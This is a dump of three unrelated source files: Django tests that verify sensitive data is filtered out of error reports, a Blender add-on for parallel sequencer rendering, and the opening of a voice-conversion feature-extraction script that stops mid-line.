self.verify_unsafe_email(paranoid_view) with self.settings(DEBUG=False): self.verify_paranoid_response(paranoid_view) self.verify_paranoid_email(paranoid_view) def test_multivalue_dict_key_error(self): """ #21098 -- Sensitive POST parameters cannot be seen in the error reports for if request.POST['nonexistent_key'] throws an error. """ with self.settings(DEBUG=True): self.verify_unsafe_response(multivalue_dict_key_error) self.verify_unsafe_email(multivalue_dict_key_error) with self.settings(DEBUG=False): self.verify_safe_response(multivalue_dict_key_error) self.verify_safe_email(multivalue_dict_key_error) def test_custom_exception_reporter_filter(self): """ It's possible to assign an exception reporter filter to the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER. """ with self.settings(DEBUG=True): self.verify_unsafe_response(custom_exception_reporter_filter_view) self.verify_unsafe_email(custom_exception_reporter_filter_view) with self.settings(DEBUG=False): self.verify_unsafe_response(custom_exception_reporter_filter_view) self.verify_unsafe_email(custom_exception_reporter_filter_view) def test_sensitive_method(self): """ The sensitive_variables decorator works with object methods. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_method_view, check_for_POST_params=False) self.verify_unsafe_email(sensitive_method_view, check_for_POST_params=False) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_method_view, check_for_POST_params=False) self.verify_safe_email(sensitive_method_view, check_for_POST_params=False) def test_sensitive_function_arguments(self): """ Sensitive variables don't leak in the sensitive_variables decorator's frame, when those variables are passed as arguments to the decorated function. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_args_function_caller) self.verify_unsafe_email(sensitive_args_function_caller) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_args_function_caller, check_for_POST_params=False) self.verify_safe_email(sensitive_args_function_caller, check_for_POST_params=False) def test_sensitive_function_keyword_arguments(self): """ Sensitive variables don't leak in the sensitive_variables decorator's frame, when those variables are passed as keyword arguments to the decorated function. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_kwargs_function_caller) self.verify_unsafe_email(sensitive_kwargs_function_caller) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_kwargs_function_caller, check_for_POST_params=False) self.verify_safe_email(sensitive_kwargs_function_caller, check_for_POST_params=False) def test_callable_settings(self): """ Callable settings should not be evaluated in the debug page (#21345). """ def callable_setting(): return "This should not be displayed" with self.settings(DEBUG=True, FOOBAR=callable_setting): response = self.client.get('/raises500/') self.assertNotContains(response, "This should not be displayed", status_code=500) def test_callable_settings_forbidding_to_set_attributes(self): """ Callable settings which forbid to set attributes should not break the debug page (#23070). """ class CallableSettingWithSlots: __slots__ = [] def __call__(self): return "This should not be displayed" with self.settings(DEBUG=True, WITH_SLOTS=CallableSettingWithSlots()): response = self.client.get('/raises500/') self.assertNotContains(response, "This should not be displayed", status_code=500) def test_dict_setting_with_non_str_key(self): """ A dict setting containing a non-string key should not break the debug page (#12744). """ with self.settings(DEBUG=True, FOOBAR={42: None}): response = self.client.get('/raises500/') self.assertContains(response, 'FOOBAR', status_code=500) def test_sensitive_settings(self): """ The debug page should not show some sensitive settings (password, secret key, ...). """ sensitive_settings = [ 'SECRET_KEY', 'PASSWORD', 'API_KEY', 'AUTH_TOKEN', ] for setting in sensitive_settings: with self.settings(DEBUG=True, **{setting: "should not be displayed"}): response = self.client.get('/raises500/') self.assertNotContains(response, 'should not be displayed', status_code=500) def test_settings_with_sensitive_keys(self): """ The debug page should filter out some sensitive information found in dict settings. """ sensitive_settings = [ 'SECRET_KEY', 'PASSWORD', 'API_KEY', 'AUTH_TOKEN', ] for setting in sensitive_settings: FOOBAR = { setting: "should not be displayed", 'recursive': {setting: "should not be displayed"}, } with self.settings(DEBUG=True, FOOBAR=FOOBAR): response = self.client.get('/raises500/') self.assertNotContains(response, 'should not be displayed', status_code=500) def test_cleanse_setting_basic(self): reporter_filter = SafeExceptionReporterFilter() self.assertEqual(reporter_filter.cleanse_setting('TEST', 'TEST'), 'TEST') self.assertEqual( reporter_filter.cleanse_setting('PASSWORD', 'super_secret'), reporter_filter.cleansed_substitute, ) def test_cleanse_setting_ignore_case(self): reporter_filter = SafeExceptionReporterFilter() self.assertEqual( reporter_filter.cleanse_setting('password', 'super_secret'), reporter_filter.cleansed_substitute, ) def test_cleanse_setting_recurses_in_dictionary(self): reporter_filter = SafeExceptionReporterFilter() initial = {'login': 'cooper', 'password': 'secret'} self.assertEqual( reporter_filter.cleanse_setting('SETTING_NAME', initial), {'login': 'cooper', 'password': reporter_filter.cleansed_substitute}, ) def test_cleanse_setting_recurses_in_dictionary_with_non_string_key(self): reporter_filter = SafeExceptionReporterFilter() initial = {('localhost', 8000): {'login': 'cooper', 'password': 'secret'}} self.assertEqual( reporter_filter.cleanse_setting('SETTING_NAME', initial), { ('localhost', 8000): { 'login': 'cooper', 'password': reporter_filter.cleansed_substitute, }, }, ) def test_cleanse_setting_recurses_in_list_tuples(self): reporter_filter = SafeExceptionReporterFilter() initial = [ { 'login': 'cooper', 'password': 'secret', 'apps': ( {'name': 'app1', 'api_key': 'a06b-c462cffae87a'}, {'name': 'app2', 'api_key': 'a9f4-f152e97ad808'}, ), 'tokens': ['98b37c57-ec62-4e39', '8690ef7d-8004-4916'], }, {'SECRET_KEY': 'c4d77c62-6196-4f17-a06b-c462cffae87a'}, ] cleansed = [ { 'login': 'cooper', 'password': reporter_filter.cleansed_substitute, 'apps': ( {'name': 'app1', 'api_key': reporter_filter.cleansed_substitute}, {'name': 'app2', 'api_key': reporter_filter.cleansed_substitute}, ), 'tokens': reporter_filter.cleansed_substitute, }, {'SECRET_KEY': reporter_filter.cleansed_substitute}, ] self.assertEqual( reporter_filter.cleanse_setting('SETTING_NAME', initial), cleansed, ) self.assertEqual( reporter_filter.cleanse_setting('SETTING_NAME', tuple(initial)), tuple(cleansed), ) def test_request_meta_filtering(self): request = self.rf.get('/', HTTP_SECRET_HEADER='super_secret') reporter_filter = SafeExceptionReporterFilter() self.assertEqual( reporter_filter.get_safe_request_meta(request)['HTTP_SECRET_HEADER'], reporter_filter.cleansed_substitute, ) def test_exception_report_uses_meta_filtering(self): response = self.client.get('/raises500/', HTTP_SECRET_HEADER='super_secret') self.assertNotIn(b'super_secret', response.content) response = self.client.get( '/raises500/', HTTP_SECRET_HEADER='super_secret', HTTP_ACCEPT='application/json', ) self.assertNotIn(b'super_secret', response.content) class CustomExceptionReporterFilter(SafeExceptionReporterFilter): cleansed_substitute = 'XXXXXXXXXXXXXXXXXXXX' hidden_settings = _lazy_re_compile('API|TOKEN|KEY|SECRET|PASS|SIGNATURE|DATABASE_URL', flags=re.I) @override_settings( ROOT_URLCONF='view_tests.urls', DEFAULT_EXCEPTION_REPORTER_FILTER='%s.CustomExceptionReporterFilter' % __name__, ) class CustomExceptionReporterFilterTests(SimpleTestCase): def setUp(self): get_default_exception_reporter_filter.cache_clear() def tearDown(self): get_default_exception_reporter_filter.cache_clear() def test_setting_allows_custom_subclass(self): self.assertIsInstance( get_default_exception_reporter_filter(), CustomExceptionReporterFilter, ) def test_cleansed_substitute_override(self): reporter_filter = get_default_exception_reporter_filter() self.assertEqual( reporter_filter.cleanse_setting('password', 'super_secret'), reporter_filter.cleansed_substitute, ) def test_hidden_settings_override(self): reporter_filter = get_default_exception_reporter_filter() self.assertEqual( reporter_filter.cleanse_setting('database_url', 'super_secret'), reporter_filter.cleansed_substitute, ) class NonHTMLResponseExceptionReporterFilter(ExceptionReportTestMixin, LoggingCaptureMixin, SimpleTestCase): """ Sensitive information can be filtered out of error reports. The plain text 500 debug-only error page is served when it has been detected the request doesn't accept HTML content. Don't check for (non)existence of frames vars in the traceback information section of the response content because they're not included in these error pages. Refs #14614. """ rf = RequestFactory(HTTP_ACCEPT='application/json') def test_non_sensitive_request(self): """ Request info can bee seen in the default error reports for non-sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(non_sensitive_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_unsafe_response(non_sensitive_view, check_for_vars=False) def test_sensitive_request(self): """ Sensitive POST parameters cannot be seen in the default error reports for sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_view, check_for_vars=False) def test_paranoid_request(self): """ No POST parameters can be seen in the default error reports for "paranoid" requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(paranoid_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_paranoid_response(paranoid_view, check_for_vars=False) def test_custom_exception_reporter_filter(self): """ It's possible to assign an exception reporter filter to the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER. """ with self.settings(DEBUG=True): self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False) @override_settings(DEBUG=True, ROOT_URLCONF='view_tests.urls') def test_non_html_response_encoding(self): response = self.client.get('/raises500/', HTTP_ACCEPT='application/json') self.assertEqual(response.headers['Content-Type'], 'text/plain; charset=utf-8') class DecoratorsTests(SimpleTestCase): def test_sensitive_variables_not_called(self): msg = ( 'sensitive_variables() must be called to use it as a decorator, ' 'e.g., use @sensitive_variables(), not @sensitive_variables.' ) with self.assertRaisesMessage(TypeError, msg): @sensitive_variables def test_func(password): pass def test_sensitive_post_parameters_not_called(self): msg = ( 'sensitive_post_parameters() must be called to use it as a ' 'decorator, e.g., use @sensitive_post_parameters(), not ' '@sensitive_post_parameters.' ) with self.assertRaisesMessage(TypeError, msg): @sensitive_post_parameters def test_func(request): return index_page(request) def test_sensitive_post_parameters_http_request(self): class MyClass: @sensitive_post_parameters() def a_view(self, request): return HttpResponse() msg = ( "sensitive_post_parameters didn't receive an HttpRequest object. " "If you are decorating a classmethod, make sure to use " "@method_decorator." ) with self.assertRaisesMessage(TypeError, msg): MyClass().a_view(HttpRequest())
parallel_render.py
""" Small addon for blender to help with rendering in VSE. It automates rendering with multiple instances of blender. It should come up as "Parallel Render" in addons list. Copyright (c) 2017 Krzysztof Trzcinski """ from bpy import props from bpy import types from collections import namedtuple from enum import Enum from multiprocessing import cpu_count from multiprocessing.dummy import Pool from queue import Queue from threading import Lock from threading import Thread import bpy import errno import itertools import json import logging import os import shutil import socket import struct import subprocess import sys import tempfile import time LOGGER = logging.getLogger(__name__) bl_info = { "name": "Parallel Render", "author": "Krzysztof Trzciński", "version": (1, 0), "blender": (2, 80, 0), "location": "Properties > Parallel Render Panel or Render menu", "description": "Render the output from the Sequencer multithreaded", "warning": "", "wiki_url": "https://github.com/elmopl/ktba/wiki/Addons?fbclid=IwAR1SVO4qnBM2UfDyLhyCWqYNuslv-FSNCb3dODpWDIUPLIFP4Fkb0TuPDec#parallel-render", "tracker_url": "", "category": "Sequencer"} def _can_concatenate(scene): return scene.render.is_movie_format class ParallelRenderPanel(bpy.types.Panel): """Render the Output from the Sequencer Multithreaded""" bl_label = "Parallel Render" bl_idname = "OBJECT_PT_parallel_render" bl_space_type = 'PROPERTIES' bl_region_type = 'WINDOW' bl_context = "render" bl_parent_id = "RENDER_PT_output" def draw(self, context): layout = self.layout layout.use_property_split = True layout.use_property_decorate = False layout.operator('render.parallel_render', icon='RENDER_ANIMATION') addon_props = context.preferences.addons[__name__].preferences props = context.scene.parallel_render_panel layout.prop(props, "max_parallel") layout.prop(props, "batch_type", expand=True) sub_prop = str(props.batch_type) if hasattr(props, sub_prop): layout.prop(props, sub_prop) layout.prop(props, "overwrite") layout.prop(props, "mixdown") col = layout.column() col.prop(props, "concatenate") if not _can_concatenate(context.scene): col.enabled = False col.label(text='Concatenation only available for video file format', icon='ERROR') elif addon_props.ffmpeg_valid: col = layout.column() col.prop(props, "clean_up_parts") col.enabled = props.concatenate else: col.enabled = False col.use_property_split = False col.label(text='Check add-on preferences', icon='ERROR') class MessageChannel(object): MSG_SIZE_FMT = '!i' MSG_SIZE_SIZE = struct.calcsize(MSG_SIZE_FMT) def __init__(self, conn): self._conn = conn def __enter__(self): return self def __exit__(self, exc_t, exc_v, tb): self._conn.close() def send(self, msg): msg = json.dumps(msg).encode('utf8') msg_size = len(msg) packed_size = struct.pack(self.MSG_SIZE_FMT, msg_size) self._conn.sendall(packed_size) self._conn.sendall(msg) def _recv(self, size): buf = b'' while len(buf) < size: read = self._conn.recv(size - len(buf)) if len(read) == 0: raise Exception('Unexpected end of connection') buf += read return buf def recv(self): msg_size_packed = self._recv(self.MSG_SIZE_SIZE) msg_size = struct.unpack(self.MSG_SIZE_FMT, msg_size_packed)[0] if msg_size == 0: return None return json.loads(self._recv(msg_size).decode('utf8')) class CurrentProjectFile(object): def __init__(self): self.path = None def __enter__(self): self.path = bpy.data.filepath return self def __exit__(self, exc_type, exc_value, tb): self.path = None class TemporaryProjectCopy(object): def __init__(self): self.path = None def __enter__(self): project_file = tempfile.NamedTemporaryFile( delete=False, # Temporary project files has to be in the # same directory to ensure relative paths work. dir=bpy.path.abspath("//"), prefix='parallel_render_copy_{}_'.format(os.path.splitext(os.path.basename(bpy.data.filepath))[0]), suffix='.blend', ) project_file.close() try: self.path = project_file.name bpy.ops.wm.save_as_mainfile( filepath=self.path, copy=True, check_existing=False, relative_remap=True, ) assert os.path.exists(self.path) return self except: self._cleanup() raise def __exit__(self, exc_type, exc_value, tb): self._cleanup() def _cleanup(self): os.unlink(self.path) self._cleanup_autosave_files() def _cleanup_autosave_files(self): # TODO: Work out proper way to clean up .blend{n} files try: n = 1 while True: os.unlink(self.path + str(n)) n += 1 except OSError: pass class WorkerProcess(object): CONNECT_TIMEOUT = 30 @staticmethod def read_config(): config = json.load(sys.stdin) sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sck.connect(tuple(config['controller'])) return MessageChannel(sck), config['args'] def __init__( self, worker_id, args, project_file, subprocess_stdout, subprocess_stderr ): self._args = args self._p = None self._incoming = None self._sck = None self._project_file = project_file self._logger = LOGGER.getChild('worker[{}]'.format(worker_id)) self._connection = None self.return_code = None self.subprocess_stdout = subprocess_stdout self.subprocess_stderr = subprocess_stderr def _create_socket(self): self._sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sck.bind(('localhost', 0)) self._sck.listen(1) def _detroy_socket(self): self._sck.close() def __enter__(self): cmd = ( bpy.app.binary_path, self._project_file, '--background', '--python', __file__, '--', 'render' ) self._create_socket() self._logger.info("Starting worker process: %s", cmd) self._p = subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=self.subprocess_stdout, stderr=self.subprocess_stderr, ) config = { 'controller': self._sck.getsockname(), 'args': self._args } self._p.stdin.write(json.dumps(config).encode('utf8')) self._p.stdin.close() # This is rather arbitrary. # It is meant to protect accept() from hanging in case # something very wrong happens to launched process. self._sck.settimeout(self.CONNECT_TIMEOUT) self._connection, _addr = self._sck.accept() self._logger.info("Started worker process") return MessageChannel(self._connection) def __exit__(self, exc_t, exc_v, tb): self._logger.info('waiting') self.return_code = self._p.wait() self._logger.info('finished with rc: %s', self.return_code) self._p = None self._connection.close() self._connection = None self._detroy_socket() def _add_multiline_label(layout, lines, icon='NONE'): for line in lines: row = layout.row() row.alignment = 'CENTER' row.label(text=line, icon=icon) icon = 'NONE' def _is_valid_ffmpeg_executable(path): res = None try: subprocess.check_output((path, '-version')) except (OSError, subprocess.CalledProcessError): res = "Path `{}` cannot be executed".format(path) LOGGER.info("_is_valid_ffmpeg_executable(%s): %s", path, res) return res class ParallelRenderPreferences(types.AddonPreferences): bl_idname = __name__ ffmpeg_executable: props.StringProperty( name="Path to ffmpeg executable", default="", update=lambda self, context: self.update(context), subtype='FILE_PATH', ) ffmpeg_status: props.StringProperty(default="") ffmpeg_valid: props.BoolProperty(default=False) def update(self, context): error = _is_valid_ffmpeg_executable(self.ffmpeg_executable) if error is None: self.ffmpeg_valid = True info = subprocess.check_output((self.ffmpeg_executable, '-version')).decode('utf-8') info = info.split('\r', 1)[0] self.ffmpeg_status = 'Version: {}'.format(info) else: self.ffmpeg_valid = False self.ffmpeg_status = error context.scene.parallel_render_panel.update(context) def draw(self, context): layout = self.layout layout.prop(self, "ffmpeg_executable") icon = 'INFO' if self.ffmpeg_valid else 'ERROR' if icon == 'ERROR': layout.label(text="The path to FFmpeg executable is invalid.", icon=icon) else: layout.label(text=self.ffmpeg_status, icon=icon) def _need_temporary_file(data): return data.is_dirty def parallel_render_menu_draw(self, context): layout = self.layout layout.operator('render.parallel_render', icon='RENDER_ANIMATION') layout.separator() class ParallelRenderPropertyGroup(types.PropertyGroup): def update(self, context): addon_props = context.preferences.addons[__name__].preferences if not addon_props.ffmpeg_valid and self.concatenate: LOGGER.info("ParallelRenderPropertyGroup forcing concatenate to false") self.concatenate = False self.clean_up_parts = False if not self.concatenate: self.clean_up_parts = False last_run_result: props.EnumProperty( items=[ # (identifier, name, description, icon, number) ('done', '', ''), ('pending', '', ''), ('failed', '', ''), ], name="Render Batch Size" ) batch_type: props.EnumProperty( items=[ # (identifier, name, description, icon, number) ('parts', 'Parts', 'Render in given number of batches (automatically splits it)'), ('fixed', 'Fixed', 'Render in fixed size batches'), ], name="Render Batch Size" ) max_parallel: props.IntProperty( name="Blender Instances", min=1, default=cpu_count() - 1, max=10000 ) overwrite: props.BoolProperty( name="Overwrite Existing Files", default=True, ) mixdown: props.BoolProperty( name="Mixdown Sound", default=True, ) concatenate: props.BoolProperty( name="Concatenate Output Files", update=lambda self, context: self.update(context), ) clean_up_parts: props.BoolProperty( name="Clean Up Partial Files", ) fixed: props.IntProperty( name="Number of Frames per Batch", min=1, default=300, max=10000 ) parts: props.IntProperty( name="Number of Parts", min=1, default=(cpu_count()-1) * 2, max=10000 ) class ParallelRenderState(Enum): CLEANING = 1 RUNNING = 2 MIXDOWN = 3 CONCATENATE = 4 FAILED = 5 CANCELLING = 6 def describe(self): return { self.CLEANING: ('INFO', 'Cleaning Up'), self.RUNNING: ('INFO', 'Rendering'), self.MIXDOWN: ('INFO', 'Mixing Sound'), self.CONCATENATE: ('INFO', 'Concatenating'), self.FAILED: ('ERROR', 'Failed'), self.CANCELLING: ('WARNING', 'Cancelling'), }[self] def get_ranges_parts(scn): offset = scn.frame_start current = 0 end = scn.frame_end - offset length = end + 1 parts = int(scn.parallel_render_panel.parts) if length <= parts: yield (scn.frame_start, scn.frame_end) return for i in range(1, parts + 1): end = i * length // parts yield (offset + current, offset + end - 1) current = end def get_ranges_fixed(scn): start = scn.frame_start end = scn.frame_end increment = int(scn.parallel_render_panel.fixed) while start <= end: yield (start, min(start + increment, end)) start += increment + 1 RANGE_CALCULATORS = { 'parts': get_ranges_parts, 'fixed': get_ranges_fixed, } class ParallelRender(types.Operator): """Render the Output from the Sequencer Multithreaded""" bl_idname = "render.parallel_render" bl_label = "Parallel Render" bl_options = {'REGISTER'} still_running = False thread = None state = None subprocess_stdout = sys.stdout subprocess_stderr = sys.stderr def draw(self, context): layout = self.layout if _need_temporary_file(bpy.data): _add_multiline_label( layout, [ 'Unsaved changes to project.', 'Will attempt to create temporary file.', ], icon='ERROR', ) layout.row().label(text='Will render frames from {} to {}'.format(context.scene.frame_start, context.scene.frame_end)) def __init__(self): super(ParallelRender, self).__init__() self.summary_mutex = None def check(self, context): return True def _render_project_file(self, scn, project_file): LOGGER.info("Going to render file %s", project_file) self.summary_mutex = Lock() props = scn.parallel_render_panel range_type = str(props.batch_type) ranges = tuple(RANGE_CALCULATORS[range_type](scn)) cmds = tuple( ( (start, end), { '--scene': str(scn.name), '--start-frame': start, '--end-frame': end, '--overwrite': bool(props.overwrite), } ) for start, end in ranges ) self.summary = { 'batches': len(cmds), 'batches_done': 0, 'frames': max(s[1] for s in ranges) - min(s[0] for s in ranges) + 1, 'frames_done': 0, } RunResult = namedtuple('RunResult', ('range', 'command', 'rc', 'output_file')) self.report({'INFO'}, 'Working on file {0}'.format(project_file)) def run(args): rng, cmd = args res = None output_file = None if self.state == ParallelRenderState.RUNNING: try: worker_id = '{}-{}'.format(rng[0], rng[1]) worker = WorkerProcess( worker_id, cmd, project_file=project_file, subprocess_stdout=self.subprocess_stdout, subprocess_stderr=self.subprocess_stderr, ) msg = None with worker as channel: msgs = iter(channel.recv, None) last_done = rng[0] for msg in msgs: frame_done = msg['current_frame'] with self.summary_mutex: self.summary['frames_done'] += (frame_done - last_done) last_done = frame_done with self.summary_mutex: self.summary['frames_done'] += 1 res = worker.return_code if msg is not None: output_file = msg['output_file'] status_msg = 'Worker finished writing {}'.format(output_file) LOGGER.info(status_msg) except Exception as exc: LOGGER.exception(exc) res = -1 return RunResult(rng, cmd, res, output_file) self.state = ParallelRenderState.RUNNING self.report({'INFO'}, 'Starting 0/{0} [0.0%]'.format( len(cmds) )) with Pool(props.max_parallel) as pool: pending = pool.imap_unordered(run, cmds) results = {} for num, res in enumerate(pending, 1): with self.summary_mutex: self.summary['batches_done'] = num results[res.range] = res self._report_progress() for result in sorted(results.values(), key=lambda r: r.range[0]): LOGGER.info('Result: %s', result) if result.rc != 0: self.state = ParallelRenderState.FAILED if result.output_file is not None: LOGGER.error('Cleaning up failed %s', result.output_file) try: os.unlink(result.output_file) except OSError as exc: assert exc.errno == errno.ENOENT self._report_progress() sound_path = os.path.abspath(os.path.splitext(scn.render.frame_path())[0] + '.mp3') if self.state == self.state.RUNNING and props.mixdown: self.state = ParallelRenderState.MIXDOWN with self.summary_mutex: self.report({'INFO'}, 'Mixing down sound') logging.info('Going to mixdown to %s') bpy.ops.sound.mixdown(filepath=sound_path) self._report_progress() self.state = ParallelRenderState.RUNNING LOGGER.debug('Checkpoint %s %s %s', self.state, props.concatenate, _can_concatenate(scn)) if self.state == ParallelRenderState.RUNNING and props.concatenate and _can_concatenate(scn): fd, concatenate_files_name = tempfile.mkstemp( dir=bpy.path.abspath("//"), ) os.close(fd) LOGGER.info('Going to concatenate concatenate (list file: %s)', concatenate_files_name) self.state = ParallelRenderState.CONCATENATE self.report({'INFO'}, 'Concatenating') with open(concatenate_files_name, 'w') as data: for range, res in sorted(results.items()): data.write("file '{}'\n".format(res.output_file)) outfile = bpy.context.scene.render.frame_path() LOGGER.info('Final render name: %s', outfile) sound = () if props.mixdown: sound = ('-i', sound_path, '-codec:a', 'copy', '-q:a', '0') overwrite = ('-y' if bool(props.overwrite) else '-n',) base_cmd = ( self.ffmpeg_executable, '-nostdin', '-f', 'concat', '-safe', '0', '-i', concatenate_files_name, '-codec:v', 'copy', outfile, ) cmd = base_cmd + sound + overwrite LOGGER.info('Running: %s', cmd) res = subprocess.call( cmd, stdout=self.subprocess_stdout, stderr=self.subprocess_stderr, ) LOGGER.info('Finished running [rc: %s]: %s', res, cmd) if res == 0: self.state = self.state.RUNNING else: self.state = self.state.FAILED os.unlink(concatenate_files_name) assert os.path.exists(outfile) if self.state == ParallelRenderState.RUNNING and props.clean_up_parts: to_clean = [res.output_file for res in results.values()] LOGGER.info('Going to clean up parts (%s)', to_clean) self.state = ParallelRenderState.CLEANING os.unlink(sound_path) for filename in to_clean: os.unlink(filename) self.state = ParallelRenderState.RUNNING def _run(self, scn): props = scn.parallel_render_panel props.last_run_result = 'pending' if _need_temporary_file(bpy.data): work_project_file = TemporaryProjectCopy() else: work_project_file = CurrentProjectFile() try: with work_project_file: self._render_project_file(scn, work_project_file.path) props.last_run_result = 'done' if self.state == ParallelRenderState.RUNNING else 'failed' except Exception as exc: LOGGER.exception(exc) props.last_run_result = 'failed' def _report_progress(self): rep_type, action = self.state.describe() with self.summary_mutex: self.report({rep_type}, '{0} Batches: {1}/{2} Frames: {3}/{4} [{5:.1f}%]'.format( action.replace('ing', 'ed'), self.summary['batches_done'], self.summary['batches'], self.summary['frames_done'], self.summary['frames'], 100.0 * self.summary['frames_done'] / self.summary['frames'] )) def execute(self, context): scn = context.scene wm = context.window_manager self.timer = wm.event_timer_add(0.5, window=context.window) wm.modal_handler_add(self) wm.progress_begin(0., 100.) addon_props = context.preferences.addons[__name__].preferences self.max_parallel = scn.parallel_render_panel.max_parallel self.ffmpeg_executable = addon_props.ffmpeg_executable self.thread = Thread(target=self._run, args=(scn,)) self.thread.start() return {'RUNNING_MODAL'} def modal(self, context, event): if self.summary_mutex is None: return {'PASS_THROUGH'} wm = context.window_manager # Stop the thread when ESCAPE is pressed. if event.type == 'ESC': self.state = ParallelRenderState.CANCELLING self._report_progress() if event.type == 'TIMER': still_running = self.thread.is_alive() with self.summary_mutex: percent = 100.0 * self.summary['batches_done'] / self.summary['batches'] if still_running: wm.progress_update(percent) self._report_progress() return {'PASS_THROUGH'} self.thread.join() wm.event_timer_remove(self.timer) wm.progress_end() return {'FINISHED'} return {'PASS_THROUGH'} def invoke(self, context, event): wm = context.window_manager return wm.invoke_props_dialog(self) def render(): channel, args = WorkerProcess.read_config() with channel: try: scn_name = args['--scene'] scn = bpy.data.scenes[scn_name] scn.frame_start = args['--start-frame'] scn.frame_end = args['--end-frame'] outfile = bpy.context.scene.render.frame_path() def _update_progress(_ignored): send_stats(bpy.context.scene.frame_current) def send_stats(frame): channel.send({ 'output_file': outfile, 'current_frame': frame, }) LOGGER.info("Writing file {}".format(outfile)) if args['--overwrite'] or not os.path.exists(outfile): bpy.app.handlers.render_stats.append(_update_progress) bpy.ops.render.render(animation=True, scene=scn_name) else: LOGGER.warning('%s already exists.', outfile) send_stats(scn.frame_end) LOGGER.info("Done writing {}".format(outfile)) assert os.path.exists(outfile) finally: channel.send(None) sys.exit(0) def main(): covstart = os.environ.get('COVERAGE_PROCESS_START') if covstart is not None: sys.path.extend(os.environ['PYTHONPATH'].split(os.path.sep)) import coverage coverage.process_startup() # Get everything after '--' as those are arguments # to our script args = sys.argv[sys.argv.index('--') + 1:] logging.basicConfig(level=logging.INFO) action = args[0] if action == 'render': render() def register(): bpy.utils.register_class(ParallelRenderPropertyGroup) bpy.utils.register_class(ParallelRenderPreferences) bpy.utils.register_class(ParallelRender) bpy.utils.register_class(ParallelRenderPanel) bpy.types.Scene.parallel_render_panel = bpy.props.PointerProperty(type=ParallelRenderPropertyGroup) # TODO: I am not quite sure how to put it after actual "Render Animation" bpy.types.TOPBAR_MT_render.prepend(parallel_render_menu_draw) def unregister(): bpy.types.TOPBAR_MT_render.remove(parallel_render_menu_draw) del bpy.types.Scene.parallel_render_panel bpy.utils.unregister_class(ParallelRenderPropertyGroup) bpy.utils.unregister_class(ParallelRenderPreferences) bpy.utils.unregister_class(ParallelRender) bpy.utils.unregister_class(ParallelRenderPanel) if __name__ == "__main__": main()
feature_extract_vc.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2019 Patrick Lumban Tobing (Nagoya University) # based on PyTorch implementation for WaveNet vocoder by Tomoki Hayashi (Nagoya University) # Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) from __future__ import division from __future__ import print_function import argparse import multiprocessing as mp import os import sys import logging import numpy as np from numpy.matlib import repmat from scipy.interpolate import interp1d from scipy.io import wavfile from scipy.signal import firwin from scipy.signal import lfilter from utils import find_files from utils import read_txt from utils import write_hdf5, read_hdf5 from multiprocessing import Array import pysptk as ps import pyworld as pw np.set_printoptions(threshold=np.inf) #FS = 16000 FS = 22050 #FS = 24000 #FS = 44100 #FS = 48000 SHIFTMS = 5 MINF0 = 40 MAXF0 = 700 #MCEP_DIM = 24 #MCEP_DIM = 34 MCEP_DIM = 49 #MCEP_ALPHA = 0.41000000000000003 #16k MCEP_ALPHA = 0.455 #22.05k #MCEP_ALPHA = 0.466 #24k #MCEP_ALPHA = 0.544 #44.1k #MCEP_ALPHA = 0.554 #48k FFTL = 1024 IRLEN = 1024 LOWPASS_CUTOFF = 20 HIGHPASS_CUTOFF = 70 OVERWRITE = True def low_cut_filter(x, fs, cutoff=HIGHPASS_CUTOFF): """FUNCTION TO APPLY LOW CUT FILTER Args: x (ndarray): Waveform sequence fs (int): Sampling frequency cutoff (float): Cutoff frequency of low cut filter Return: (ndarray): Low cut filtered waveform sequence """ nyquist = fs // 2 norm_cutoff = cutoff / nyquist # low cut filter fil = firwin(255, norm_cutoff, pass_zero=False) lcf_x = lfilter(fil, 1, x) return lcf_x def analyze(wav, fs=FS, minf0=MINF0, maxf0=MAXF0, fperiod=SHIFTMS, fftl=FFTL, f0=None, time_axis=None): #f0_flr = pw.get_cheaptrick_f0_floor(fs, fftl) #logging.info(f0_flr) #fft_size = pw.get_cheaptrick_fft_size(fs, f0_flr) #logging.info(fft_size) #f0_flr = pw.get_cheaptrick_f0_floor(fs, fft_size) #logging.info(f0_flr) if f0 is None or time_axis is None: _f0, time_axis = pw.harvest(wav, fs, f0_floor=60.0, frame_period=fperiod) f0 = pw.stonemask(wav, _f0, time_axis, fs) sp = pw.cheaptrick(wav, f0, time_axis, fs, fft_size=fftl) ap = pw.d4c(wav, f0, time_axis, fs, fft_size=fftl) return time_axis, f0, sp, ap def analyze_range(wav, fs=FS, minf0=MINF0, maxf0=MAXF0, fperiod=SHIFTMS, fftl=FFTL, f0=None, time_axis=None): if f0 is None or time_axis is None: _f0, time_axis = pw.harvest(wav, fs, f0_floor=minf0, f0_ceil=maxf0, frame_period=fperiod) f0 = pw.stonemask(wav, _f0, time_axis, fs) #f0, time_axis = pw.harvest(wav, fs, f0_floor=minf0, f0_ceil=maxf0, frame_period=fperiod) sp = pw.cheaptrick(wav, f0, time_axis, fs, fft_size=fftl) ap = pw.d4c(wav, f0, time_axis, fs, fft_size=fftl) return time_axis, f0, sp, ap def read_wav(wav_file, cutoff=HIGHPASS_CUTOFF): fs, x = wavfile.read(wav_file) x = np.array(x, dtype=np.float64) if cutoff != 0: x = low_cut_filter(x, fs, cutoff) return fs, x def convert_f0(f0, f0_mean_src, f0_std_src, f0_mean_trg, f0_std_trg): nonzero_indices = f0 > 0 cvf0 = np.zeros(len(f0)) cvf0[nonzero_indices] = 